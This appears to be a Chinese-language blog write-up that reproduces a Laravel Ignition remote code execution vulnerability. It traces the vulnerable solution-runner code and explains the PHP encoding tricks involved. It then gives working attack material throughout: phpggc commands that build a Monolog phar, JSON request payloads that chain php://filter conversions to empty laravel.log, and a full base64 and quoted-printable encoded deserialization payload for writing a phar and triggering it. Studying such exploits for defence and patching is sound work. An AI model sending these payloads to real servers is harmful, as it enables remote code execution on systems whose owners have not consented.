环境安装

composer设置阿里云镜像

1
composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/

取消配置

1
composer config -g --unset repos.packagist

然后把 .env.example复制到.env

.env文件中生成一个APP_KEY

1

phpgg生成一个phar

1
php phpggc monolog/rce1 call_user_func phpinfo --phar phar -o phar.gif

漏洞分析

利用链就两步

vendor/facade/ignition/src/Http/Controllers/ExecuteSolutionRequest.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

namespace Facade\Ignition\Http\Controllers;

use Facade\Ignition\Http\Requests\ExecuteSolutionRequest;
use Facade\IgnitionContracts\SolutionProviderRepository;
use Illuminate\Foundation\Validation\ValidatesRequests;

class ExecuteSolutionController
{
use ValidatesRequests;

public function __invoke(
ExecuteSolutionRequest $request,
SolutionProviderRepository $solutionProviderRepository
) {
$solution = $request->getRunnableSolution();

$solution->run($request->get('parameters', []));

return response('');
}
}

这里会去调用run方法,跟进

在RunnableSolution这个接口这里定义了run方法,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

namespace Facade\IgnitionContracts;

interface RunnableSolution extends Solution
{
public function getSolutionActionDescription(): string;

public function getRunButtonText(): string;

public function run(array $parameters = []);

public function getRunParameters(): array;
}

在MakeViewVariableOptionalSolution.php 中

1
class MakeViewVariableOptionalSolution implements RunnableSolution

实现了这个接口,跟进run方法

1
2
3
4
5
6
7
public function run(array $parameters = [])
{
$output = $this->makeOptional($parameters);
if ($output !== false) {
file_put_contents($parameters['viewFile'], $output);
}
}

这里会去调用makeOptional方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public function makeOptional(array $parameters = [])
{
$originalContents = file_get_contents($parameters['viewFile']);//这里会触发一个流,比如phar 伪协议之类
$newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents);//进行一步替换,在末尾加上??''

$originalTokens = token_get_all(Blade::compileString($originalContents));
$newTokens = token_get_all(Blade::compileString($newContents));

$expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']);

if ($expectedTokens !== $newTokens) {
return false;
}

return $newContents;
}

后面的就不需要看了,到file_get_contents这一步就已经触发phar了,如果有那个功能可以上传文件,就可以getshell了

payload

1
2
3
4
5
6
7
{
"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters":{
"variableName":"username",
"viewFile":"phar://D:\\phpstudy_pro\\WWW\\laravel-8.4.2\\phar.gif\\test.txt"
}
}

可以执行

3

重点

跟着大佬学到一种新的方式,利用伪协议的过滤机制,思路太骚了。。。

整体思路:利用file_put_contents的write把log文件清空,之后,在利用一次file_put_contents把phar的内容写入到log,最后利用file_get_contents触发phar

重点来了,后面一大堆php://filter的利用

起因是给log文件写入phar,但是log中有特殊字符,就衍生出了一大堆改造方式

看一下log文件的内容,要把这些东西清空

log

1
2
3
4
[2021-01-29 14:29:23] production.ERROR: No application encryption key has been specified. {"exception":"[object] (Illuminate\\Encryption\\MissingAppKeyException(code: 0): No application encryption key has been specified. at D:\\phpstudy_pro\\WWW\\laravel-8.4.2\\vendor\\laravel\\framework\\src\\Illuminate\\Encryption\\EncryptionServiceProvider.php:79)
[stacktrace]
#0 D:\\phpstudy_pro\\WWW\\laravel-8.4.2\\vendor\\laravel\\framework\\src\\Illuminate\\Support\\helpers.php(263): Illuminate\\Encryption\\EncryptionServiceProvider->Illuminate\\Encryption\\{closure}(NULL)
#1 D:\\phpstudy_pro\\WWW\\laravel-8.4.2\\vendor\\laravel\\framework\\src\\Illuminate\\Encryption\\EncryptionServiceProvider.php(81): tap(NULL, Object(Closure))

搭建demo测试 直接用php -a 进入交互模式

利用base64解码会忽略,base64编码之外的字符, 可以把一些特殊字符给忽略掉,这个方法以前在ctf的时候碰到过。

1
2
3
4
php > file_put_contents('test.txt','d|G|V|z|d|A=|=|');
php > file_get_contents('php://filter/read=convert.base64-decode/resource=test.txt');
php > echo file_get_contents('php://filter/read=convert.base64-decode/resource=test.txt');
test

但是还有一个问题,base64解码是把4个字符变成3个,所以带解码的字符串长度必须是4的整数倍(扣掉特殊字符)还有一种情况是 base64中的= 是用来填充使用的,所以说=后面不应该出现别的字符。

这样就会报错

1
2
3
php > file_put_contents('test.txt','d|G|V|z|d|A=|=|a');
php > echo file_get_contents('php://filter/read=convert.base64-decode/resource=test.txt');
PHP Warning: file_get_contents(): stream filter (convert.base64-decode): invalid byte sequence in php shell code on line 1

utf8->utf16

大佬提出了一种utf8 –> utf16 的转换方案,这里应该不仅仅可以用这一种编码转换方式,php支持的编码都可以试试

https://www.php.net/manual/zh/mbstring.encodings.php

这里需要注意,要使用write的形式来写入文件,就不能使用file_get_contents函数了,得用后面的file_put_contents

file_put_contents UTF16BE–>UTF8

1
2
3
4
<?php
$a=file_put_contents("php://filter/write=convert.iconv.UTF-16BE.UTF-8/resource=test.txt","qwe12222");
var_dump($a);
?>

payload

1
{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"username","viewFile":"php://filter/write=convert.iconv.utf-8.utf-16be/resource=../storage/logs/laravel.log"}}

4

quoted-printable

中间要利用一个 quoted-printable 字符串,中文名可以翻译成可打印字符引用编码

编码格式

任何8-bit字节值可编码为3个字符:一个等号“=”后跟随两个十六进制数字(0–9或A–F)表示该字节的数值。例如,ASCII码换页符(十进制值为12)可以表示为“=0C”, 等号“=”(十进制值为61)必须表示为“=3D”。除了可打印ASCII字符与换行符以外,所有字符必须表示为这种格式。

也就是说只有ascii和换行符不用编码,其他的都得编码

payload

1
{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"username","viewFile":"php://filter/write=convert.quoted-printable-encode/resource=../storage/logs/laravel.log"}}

编码之后的结果

5

utf16be->utf8

类似于这样

1
2
php > var_dump(iconv('UTF-16','UTF-8',"qwe12222"));
string(12) "煷攱㈲㈲"

payload

1
{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"username","viewFile":"php://filter/write=convert.iconv.utf-16be.utf-8/resource=../storage/logs/laravel.log"}}

结果

6

base64

再利用base64_decode,就可以把log清空

1
{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"username","viewFile":"php://filter/write=convert.base64-decode/resource=../storage/logs/laravel.log"}}

最后把payload弄成一个

1
{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"username","viewFile":"php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"}}

这样log就清空了

7

写入phar

随便写入一个payload,会被放在多个地方

payload

1
{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"username","viewFile":"payload_payload"}}

8

可以看到这个payload出现了两次,只需要保证一个payload生效就可以了

先看个demo

写入payload

1
{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"username","viewFile":"=55=00=45=00=46=00=5A=00=54=00=45=00=39=00=42=00=52=00=41=00=3D=00=3D=00"}}

解码一次

1
{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"username","viewFile":"php://filter/write=convert.quoted-printable-decode/resource=../storage/logs/laravel.log"}}

我这里用php://filter来进行utf-16le –> utf-8 就会报错

用脚本来测试一下,不知道为啥filter就不行

1
2
3
4
5
<?php
$a=file_get_contents('laravel.log');
$b=iconv('UTF-16LE', 'UTF-8', $a);
var_dump(base64_decode($b));
?>

laravel文件的内容

9

结果

10

由此可见原理是没有问题的,问题出在哪呢???

来分析一下 每一步原理

No.1

先来看这个 quoted-printable 编码

1
=55=00=45=00=46=00=5A=00=54=00=45=00=39=00=42=00=52=00=41=00=3D=00=3D=00

其实写了一个base64编码之后的PAYLOAD, =00是把\00进行了编码 因为file_get_contents碰到\00会产生一个warning,触发Debug。 为什么要引入一个\00,引入了还会报错,不引入不就啥事都没了???这里牵扯到一个编码填充的问题,utf16比utf8多一个8个bit(在表示ASCII的时候), 所以要引入一个字节,再加上用的是utf-16le小端方式,所以要加在字符的后面

quoted-printable-decode 函数,只有碰到=,才会开始解码,所以说log文件中的其他字符并不会被解码

No.2

下面就是对解码之后的字符进行utf16le->utf8

这个时候就会把刚刚的\00去掉,结果就是base64编码的PAYLOAD, 其他字符会乱码,之后在进行一次base64_decode就完事了

11

No.3

base64解码,特殊字符直接忽略,不详细说了

后面我把le改成BE 又来测试

发现只能把第一行解码,payload也能被解码出来,无语了。。。。

12

把这个文件复制出来,用脚本试试,到底哪里出错了。

1
2
3
4
5
6
7
<?php
error_reporting(0);
$a=file_get_contents('laravel.log');
$b=iconv('UTF-16BE', 'UTF-8', $a);
var_dump($b);
var_dump(base64_decode($b));
?>

看到结果 我瞪眼了

13

去php官方文档上查了一下,找到这么一句话,Windows某些情况无效 以后复现还是用Linux把

1
Be aware that iconv in PHP uses system implementations of locales and languages, what works under linux, normally doesn't in windows.

这里搭个docker复现一下

反向生成真正的payload

先用phpggc生成一个pop链

1
php -d 'phar.readonly=0' phpggc monolog/rce1 call_user_func phpinfo --phar phar -o php://output | base64 -w0

结果

1
PD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQrZAgAAAgAAABEAAAABAAAAAACCAgAATzozMjoiTW9ub2xvZ1xIYW5kbGVyXFN5c2xvZ1VkcEhhbmRsZXIiOjE6e3M6OToiACoAc29ja2V0IjtPOjI5OiJNb25vbG9nXEhhbmRsZXJcQnVmZmVySGFuZGxlciI6Nzp7czoxMDoiACoAaGFuZGxlciI7TzoyOToiTW9ub2xvZ1xIYW5kbGVyXEJ1ZmZlckhhbmRsZXIiOjc6e3M6MTA6IgAqAGhhbmRsZXIiO047czoxMzoiACoAYnVmZmVyU2l6ZSI7aTotMTtzOjk6IgAqAGJ1ZmZlciI7YToxOntpOjA7YToyOntpOjA7czo3OiJwaHBpbmZvIjtzOjU6ImxldmVsIjtOO319czo4OiIAKgBsZXZlbCI7TjtzOjE0OiIAKgBpbml0aWFsaXplZCI7YjoxO3M6MTQ6IgAqAGJ1ZmZlckxpbWl0IjtpOi0xO3M6MTM6IgAqAHByb2Nlc3NvcnMiO2E6Mjp7aTowO3M6NzoiY3VycmVudCI7aToxO3M6MTQ6ImNhbGxfdXNlcl9mdW5jIjt9fXM6MTM6IgAqAGJ1ZmZlclNpemUiO2k6LTE7czo5OiIAKgBidWZmZXIiO2E6MTp7aTowO2E6Mjp7aTowO3M6NzoicGhwaW5mbyI7czo1OiJsZXZlbCI7Tjt9fXM6ODoiACoAbGV2ZWwiO047czoxNDoiACoAaW5pdGlhbGl6ZWQiO2I6MTtzOjE0OiIAKgBidWZmZXJMaW1pdCI7aTotMTtzOjEzOiIAKgBwcm9jZXNzb3JzIjthOjI6e2k6MDtzOjc6ImN1cnJlbnQiO2k6MTtzOjE0OiJjYWxsX3VzZXJfZnVuYyI7fX19BQAAAGR1bW15BAAAAJkpFWAEAAAADH5/2KQBAAAAAAAACAAAAHRlc3QudHh0BAAAAJkpFWAEAAAADH5/2KQBAAAAAAAAdGVzdHRlc3RIRck8aVAlWlhWNxBzTEgbZgXQ1QIAAABHQk1C

生成quoted-printable字符串 直接用大佬的脚本了

1
2
3
4
>>> import base64
>>> s="PD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQrZAgAAAgAAABEAAAABAAAAAACCAgAATzozMjoiTW9ub2xvZ1xIYW5kbGVyXFN5c2xvZ1VkcEhhbmRsZXIiOjE6e3M6OToiACoAc29ja2V0IjtPOjI5OiJNb25vbG9nXEhhbmRsZXJcQnVmZmVySGFuZGxlciI6Nzp7czoxMDoiACoAaGFuZGxlciI7TzoyOToiTW9ub2xvZ1xIYW5kbGVyXEJ1ZmZlckhhbmRsZXIiOjc6e3M6MTA6IgAqAGhhbmRsZXIiO047czoxMzoiACoAYnVmZmVyU2l6ZSI7aTotMTtzOjk6IgAqAGJ1ZmZlciI7YToxOntpOjA7YToyOntpOjA7czo3OiJwaHBpbmZvIjtzOjU6ImxldmVsIjtOO319czo4OiIAKgBsZXZlbCI7TjtzOjE0OiIAKgBpbml0aWFsaXplZCI7YjoxO3M6MTQ6IgAqAGJ1ZmZlckxpbWl0IjtpOi0xO3M6MTM6IgAqAHByb2Nlc3NvcnMiO2E6Mjp7aTowO3M6NzoiY3VycmVudCI7aToxO3M6MTQ6ImNhbGxfdXNlcl9mdW5jIjt9fXM6MTM6IgAqAGJ1ZmZlclNpemUiO2k6LTE7czo5OiIAKgBidWZmZXIiO2E6MTp7aTowO2E6Mjp7aTowO3M6NzoicGhwaW5mbyI7czo1OiJsZXZlbCI7Tjt9fXM6ODoiACoAbGV2ZWwiO047czoxNDoiACoAaW5pdGlhbGl6ZWQiO2I6MTtzOjE0OiIAKgBidWZmZXJMaW1pdCI7aTotMTtzOjEzOiIAKgBwcm9jZXNzb3JzIjthOjI6e2k6MDtzOjc6ImN1cnJlbnQiO2k6MTtzOjE0OiJjYWxsX3VzZXJfZnVuYyI7fX19BQAAAGR1bW15BAAAAJkpFWAEAAAADH5/2KQBAAAAAAAACAAAAHRlc3QudHh0BAAAAJkpFWAEAAAADH5/2KQBAAAAAAAAdGVzdHRlc3RIRck8aVAlWlhWNxBzTEgbZgXQ1QIAAABHQk1C"
>>> ''.join(["=" + hex(ord(i))[2:] + "=00" for i in s]).upper()
'=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=72=00=5A=00=41=00=67=00=41=00=41=00=41=00=67=00=41=00

这里用的小端字节序 00写在后面,其实这里用大端字节序也是可以的,把00补充在前面

1
''.join(["=00"+"=" + hex(ord(i))[2:] for i in t]).upper()

最后的pop链

1
=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=72=00=5A=00=41=00=67=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=43=00=43=00=41=00=67=00=41=00=41=00=54=00=7A=00=6F=00=7A=00=4D=00=6A=00=6F=00=69=00=54=00=57=00=39=00=75=00=62=00=32=00=78=00=76=00=5A=00=31=00=78=00=49=00=59=00=57=00=35=00=6B=00=62=00=47=00=56=00=79=00=58=00=46=00=4E=00=35=00=63=00=32=00=78=00=76=00=5A=00=31=00=56=00=6B=00=63=00=45=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4F=00=54=00=6F=00=69=00=41=00=43=00=6F=00=41=00=63=00=32=00=39=00=6A=00=61=00=32=00=56=00=30=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=49=00=35=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=35=00=76=00=62=00=47=00=39=00=6E=00=58=00=45=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=4A=00=63=00=51=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=53=00=47=00=46=00=75=00=5A=00=47=00=78=00=6C=00=63=00=69=00=49=00=36=00=4E=00=7A=00=70=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=61=00=47=00=46=00=75=00=5A=00=47=00=78=00=6C=00=63=00=69=00=49=00=37=00=54=00=7A=00=6F=00=79=00=4F=00=54=00=6F=00=69=00=54=00=57=00=39=00=75=00=62=00=32=00=78=00=76=00=5A=00=31=00=78=00=49=00=59=00=57=00=35=00=6B=00=62=00=47=00=56=00=79=00=58=00=45=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=6B=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=63=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=41=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=30=00=34=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=55=00=32=00=6C=00=36=00=5A=00=53=00=49=00=37=00=61=00=54=00=6F=00=74=00=4D=00=54=00=74=00=7A=00=4F=00=6A=00=6B=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=69=00=49=00=37=00=59=00=54=00=6F=00=78=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=59=00=54=00=6F=00=79=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=63=00=7A=00=6F=00=33=00=4F=00=69=00=4A=00=77=00=61=00=48=00=42=00=70=00=62=00=6D=00=5A=00=76=00=49=00=6A=00=74=00=7A=00=4F=00=6A=00=55=00=36=00=49=00=6D=00=78=00=6C=00=64=00=6D=00=56=00=73=00=49=00=6A=00=74=00=4F=00=4F=00=33=00=31=00=39=00=63=00=7A=00=6F=00=34=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=73=00=5A=00=58=00=5A=00=6C=00=62=00=43=00=49=00=37=00=54=00=6A=00=74=00=7A=00=4F=00=6A=00=45=00=30=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=70=00=62=00=6D=00=6C=00=30=00=61=00=57=00=46=00=73=00=61=00=58=00=70=00=6C=00=5A=00=43=00=49=00=37=00=59=00=6A=00=6F=00=78=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=51=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=6B=00=78=00=70=00=62=00=57=00=6C=00=30=00=49=00=6A=00=74=00=70=00=4F=00=69=00=30=00=78=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=4D=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=42=00=79=00=62=00=32=00=4E=00=6C=00=63=00=33=00=4E=00=76=00=63=00=6E=00=4D=00=69=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=59=00=33=00=56=00=79=00=63=00=6D=00=56=00=75=00=64=00=43=00=49=00=37=00=61=00=54=00=6F=00=78=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=51=00=36=00=49=00=6D=00=4E=00=68=00=62=00=47=00=78=00=66=00=64=00=58=00=4E=00=6C=00=63=00=6C=00=39=00=6D=00=64=00=57=00=35=00=6A=00=49=00=6A=00=74=00=39=00=66=00=58=00=4D=00=36=00=4D=00=54=00=4D=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=6C=00=4E=00=70=00=65=00=6D=00=55=00=69=00=4F=00=32=00=6B=00=36=00=4C=00=54=00=45=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=69=00=64=00=57=00=5A=00=6D=00=5A=00=58=00=49=00=69=00=4F=00=32=00=45=00=36=00=4D=00=54=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=63=00=47=00=68=00=77=00=61=00=57=00=35=00=6D=00=62=00=79=00=49=00=37=00=63=00=7A=00=6F=00=31=00=4F=00=69=00=4A=00=73=00=5A=00=58=00=5A=00=6C=00=62=00=43=00=49=00=37=00=54=00=6A=00=74=00=39=00=66=00=58=00=4D=00=36=00=4F=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=62=00=47=00=56=00=32=00=5A=00=57=00=77=00=69=00=4F=00=30=00=34=00=37=00=63=00=7A=00=6F=00=78=00=4E=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=61=00=57=00=35=00=70=00=64=00=47=00=6C=00=68=00=62=00=47=00=6C=00=36=00=5A=00=57=00=51=00=69=00=4F=00=32=00=49=00=36=00=4D=00=54=00=74=00=7A=00=4F=00=6A=00=45=00=30=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=69=00=64=00=57=00=5A=00=6D=00=5A=00=58=00=4A=00=4D=00=61=00=57=00=31=00=70=00=64=00=43=00=49=00=37=00=61=00=54=00=6F=00=74=00=4D=00=54=00=74=00=7A=00=4F=00=6A=00=45=00=7A=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=77=00=63=00=6D=00=39=00=6A=00=5A=00=58=00=4E=00=7A=00=62=00=33=00=4A=00=7A=00=49=00=6A=00=74=00=68=00=4F=00=6A=00=49=00=36=00=65=00=32=00=6B=00=36=00=4D=00=44=00=74=00=7A=00=4F=00=6A=00=63=00=36=00=49=00=6D=00=4E=00=31=00=63=00=6E=00=4A=00=6C=00=62=00=6E=00=51=00=69=00=4F=00=32=00=6B=00=36=00=4D=00=54=00=74=00=7A=00=4F=00=6A=00=45=00=30=00=4F=00=69=00=4A=00=6A=00=59=00=57=00=78=00=73=00=58=00=33=00=56=00=7A=00=5A=00=58=00=4A=00=66=00=5A=00=6E=00=56=00=75=00=59=00=79=00=49=00=37=00=66=00=58=00=31=00=39=00=42=00=51=00=41=00=41=00=41=00=47=00=52=00=31=00=62=00=57=00=31=00=35=00=42=00=41=00=41=00=41=00=41=00=4A=00=6B=00=70=00=46=00=57=00=41=00=45=00=41=00=41=00=41=00=41=00=44=00=48=00=35=00=2F=00=32=00=4B=00=51=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=43=00=41=00=41=00=41=00=41=00=48=00=52=00=6C=00=63=00=33=00=51=00=75=00=64=00=48=00=68=00=30=00=42=00=41=00=41=00=41=00=41=00=4A=00=6B=00=70=00=46=00=57=00=41=00=45=00=41=00=41=00=41=00=41=00=44=00=48=00=35=00=2F=00=32=00=4B=00=51=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=64=00=47=00=56=00=7A=00=64=00=48=00=52=00=6C=00=63=00=33=00=52=00=49=00=52=00=63=00=6B=00=38=00=61=00=56=00=41=00=6C=00=57=00=6C=00=68=00=57=00=4E=00=78=00=42=00=7A=00=54=00=45=00=67=00=62=00=5A=00=67=00=58=00=51=00=31=00=51=00=49=00=41=00=41=00=41=00=42=00=48=00=51=00=6B=00=31=00=43=00

一点自己的想法

这里主要是利用php的编码转换,来情况Log文件,最后写phar文件,这里的编码是真坑

参考链接

https://mp.weixin.qq.com/s/k08P2Uij_4ds35FxE2eh0g

https://www.php.net/manual/zh/filters.convert.php